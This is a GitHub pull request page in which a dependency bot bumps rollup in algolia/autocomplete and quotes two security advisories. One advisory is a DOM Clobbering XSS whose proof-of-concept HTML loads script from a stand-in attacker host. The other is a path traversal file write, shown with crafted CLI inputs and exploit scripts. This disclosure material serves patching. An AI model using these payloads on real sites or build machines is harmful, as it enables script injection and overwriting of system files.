chore(deps): update dependency rollup to v2.80.0 [security] by renovate[bot] · Pull Request #1275 · algolia/autocomplete

renovate · 2024-09-25T01:18:26Z

This PR contains the following updates:

Package	Change	Age	Confidence
rollup (source)	`2.79.1` → `2.80.0`

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

We discovered a DOM Clobbering vulnerability in rollup when bundling scripts that use import.meta.url or with plugins that emit and reference asset files from code in cjs/umd/iife format. The DOM Clobbering gadget can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

It's worth noting that we’ve identifed similar issues in other popular bundlers like Webpack (CVE-2024-43788), which might serve as a good reference.

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadget found in `rollup`

We have identified a DOM Clobbering vulnerability in rollup bundled scripts, particularly when the scripts uses import.meta and set output in format of cjs/umd/iife. In such cases, rollup replaces meta property with the URL retrieved from document.currentScript.

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L157-L162

https://github.com/rollup/rollup/blob/b86ffd776cfa906573d36c3f019316d02445d9ef/src/ast/nodes/MetaProperty.ts#L180-L185

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element (e.g., an img tag ) is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

PoC

Considering a website that contains the following main.js script, the devloper decides to use the rollup to bundle up the program: rollup main.js --format cjs --file bundle.js.

var s = document.createElement('script')
s.src = import.meta.url + 'extra.js'
document.head.append(s)

The output bundle.js is shown in the following code snippet.

'use strict';

var _documentCurrentScript = typeof document !== 'undefined' ? document.currentScript : null;
var s = document.createElement('script');
s.src = (typeof document === 'undefined' ? require('u' + 'rl').pathToFileURL(__filename).href : (_documentCurrentScript && False && _documentCurrentScript.src || new URL('bundle.js', document.baseURI).href)) + 'extra.js';
document.head.append(s);

Adding the rollup bundled script, bundle.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server due to the introduced gadget during bundling. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>rollup Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="bundle.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include rollup-bundled files (configured with an output format of cjs, iife, or umd and use import.meta) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

Patching the following two functions with type checking would be effective mitigations against DOM Clobbering attack.

const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
	getResolveUrl(
		`'${escapeId(relativePath)}', ${
			umd ? `typeof document === 'undefined' ? location.href : ` : ''
		}document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`
	);

const getUrlFromDocument = (chunkId: string, umd = false) =>
	`${
		umd ? `typeof document === 'undefined' ? location.href : ` : ''
	}(${DOCUMENT_CURRENT_SCRIPT} && ${DOCUMENT_CURRENT_SCRIPT}.tagName.toUpperCase() === 'SCRIPT' &&${DOCUMENT_CURRENT_SCRIPT}.src || new URL('${escapeId(
		chunkId
	)}', document.baseURI).href)`;

CVE-2026-27606

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).
```
// src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;
```
This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.
Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.
```
// src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);
```
Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
Execute Rollup with a specifically crafted named input where the key contains traversal characters:
```
rollup --input "a/../../pwned.js=main.js" --dir dist
```
Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()

POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

Impact

This is a High level of severity vulnerability.

Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Release Notes

rollup/rollup (rollup)

`v2.80.0`

Compare Source

`v2.79.2`

Compare Source

2024-09-26

Bug Fixes

Fix a vulnerability in generated code that affects IIFE, UMD and CJS bundles when run in a browser context (#5671)

Pull Requests

#5671: Fix DOM Clobbering CVE (@lukastaegert)

Configuration

📅 Schedule: Branch creation - "" in timezone Europe/Paris, Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

codesandbox-ci · 2024-09-25T01:19:52Z

This pull request is automatically built and testable in CodeSandbox.

To see build info of the built libraries, click here or the icon next to each commit SHA.

Latest deployment of this branch, based on commit 6ba559d:

Sandbox	Source
@algolia/autocomplete-example-github-repositories-custom-plugin	Configuration
@algolia/autocomplete-example-instantsearch	Configuration
@algolia/autocomplete-example-playground	Configuration
@algolia/autocomplete-example-preview-panel-in-modal	Configuration
@algolia/autocomplete-example-starter-algolia	Configuration
@algolia/autocomplete-example-starter	Configuration
@algolia/autocomplete-example-reshape	Configuration
@algolia/autocomplete-example-vue	Configuration

pkg-pr-new · 2026-03-23T09:11:57Z

More templates

@algolia/autocomplete-core

npm i https://pkg.pr.new/@algolia/autocomplete-core@1275

@algolia/autocomplete-js

npm i https://pkg.pr.new/@algolia/autocomplete-js@1275

@algolia/autocomplete-plugin-algolia-insights

npm i https://pkg.pr.new/@algolia/autocomplete-plugin-algolia-insights@1275

@algolia/autocomplete-plugin-query-suggestions

npm i https://pkg.pr.new/@algolia/autocomplete-plugin-query-suggestions@1275

@algolia/autocomplete-plugin-recent-searches

npm i https://pkg.pr.new/@algolia/autocomplete-plugin-recent-searches@1275

@algolia/autocomplete-plugin-redirect-url

npm i https://pkg.pr.new/@algolia/autocomplete-plugin-redirect-url@1275

@algolia/autocomplete-plugin-tags

npm i https://pkg.pr.new/@algolia/autocomplete-plugin-tags@1275

@algolia/autocomplete-preset-algolia

npm i https://pkg.pr.new/@algolia/autocomplete-preset-algolia@1275

@algolia/autocomplete-shared

npm i https://pkg.pr.new/@algolia/autocomplete-shared@1275

@algolia/autocomplete-theme-classic

npm i https://pkg.pr.new/@algolia/autocomplete-theme-classic@1275

commit: abf35f2

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v3 [security] - autoclosed Sep 26, 2024

renovate bot closed this Sep 26, 2024

renovate bot deleted the renovate/npm-rollup-vulnerability branch September 26, 2024 21:46

renovate bot restored the renovate/npm-rollup-vulnerability branch September 27, 2024 19:32

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security] - autoclosed~~ chore(deps): update dependency rollup to v3 [security] Sep 27, 2024

renovate bot reopened this Sep 27, 2024

renovate bot enabled auto-merge (rebase) September 27, 2024 19:33

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from de1b9f7 to e24a9b4 Compare September 27, 2024 19:33

renovate bot changed the title ~~chore(deps): update dependency rollup to v3 [security]~~ chore(deps): update dependency rollup to v2.79.2 [security] Sep 27, 2024

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 4 times, most recently from 0172643 to e8ad2a8 Compare October 16, 2024 08:33

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from f030e4b to 221ac8f Compare November 5, 2024 15:00

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 221ac8f to f3a099e Compare November 15, 2024 05:22

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 3c04f70 to a085ada Compare December 9, 2024 09:39

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from d6dbbd9 to cec5b42 Compare January 7, 2025 10:45

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 5a92d5a to a41cfbf Compare January 28, 2025 09:37

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 7d4605f to b459e39 Compare February 11, 2025 10:21

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 4 times, most recently from a5cadc9 to a4dcf9d Compare April 29, 2025 13:09

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a4dcf9d to 6088a13 Compare May 16, 2025 07:45

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 6088a13 to ee6e11f Compare May 20, 2025 09:27

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 6cf9466 to d59572a Compare September 3, 2025 09:43

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from d59572a to 9cd7e25 Compare September 10, 2025 15:34

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 9cd7e25 to 0ac1e70 Compare November 12, 2025 10:24

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 04d78ab to 821bdfa Compare February 3, 2026 12:11

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from fbaf739 to dadf8b3 Compare February 17, 2026 10:19

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from dadf8b3 to 4ac4757 Compare March 5, 2026 08:49

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 6ba559d to 02143d8 Compare March 23, 2026 09:08

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 02143d8 to a1f0d8b Compare March 23, 2026 11:01

renovate bot changed the title ~~chore(deps): update dependency rollup to v2.79.2 [security]~~ chore(deps): update dependency rollup to v2.80.0 [security] Mar 23, 2026

renovate bot changed the title ~~chore(deps): update dependency rollup to v2.80.0 [security]~~ chore(deps): update dependency rollup to v2.80.0 [security] - autoclosed Mar 27, 2026

renovate bot closed this Mar 27, 2026

auto-merge was automatically disabled March 27, 2026 02:51
Pull request was closed

renovate bot deleted the renovate/npm-rollup-vulnerability branch March 27, 2026 02:51

renovate bot changed the title ~~chore(deps): update dependency rollup to v2.80.0 [security] - autoclosed~~ chore(deps): update dependency rollup to v2.80.0 [security] Mar 30, 2026

renovate bot reopened this Mar 30, 2026

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 0edac91 to 1cf6ff0 Compare March 31, 2026 07:51

renovate bot enabled auto-merge (squash) March 31, 2026 07:51

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from 1cf6ff0 to a9df765 Compare March 31, 2026 08:35

chore(deps): update dependency rollup to v2.80.0 [security]

abf35f2

renovate bot force-pushed the renovate/npm-rollup-vulnerability branch from a9df765 to abf35f2 Compare March 31, 2026 09:19

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

chore(deps): update dependency rollup to v2.80.0 [security]#1275

chore(deps): update dependency rollup to v2.80.0 [security]#1275
renovate[bot] wants to merge 1 commit intonextfrom
renovate/npm-rollup-vulnerability

renovate bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

codesandbox-ci bot commented Sep 25, 2024 •

edited

Loading

Uh oh!

pkg-pr-new bot commented Mar 23, 2026 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

renovate bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

GitHub Vulnerability Alerts

CVE-2024-47068

Summary

Details

Backgrounds

Gadget found in rollup

PoC

Impact

Patch

CVE-2026-27606

Summary

Details

PoC

POC

Impact

Release Notes

v2.80.0

v2.79.2

Bug Fixes

Pull Requests

Configuration

Uh oh!

codesandbox-ci bot commented Sep 25, 2024 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

pkg-pr-new bot commented Mar 23, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

renovate bot commented Sep 25, 2024 •

edited

Loading

Gadget found in `rollup`

`v2.80.0`

`v2.79.2`

codesandbox-ci bot commented Sep 25, 2024 •

edited

Loading

pkg-pr-new bot commented Mar 23, 2026 •

edited

Loading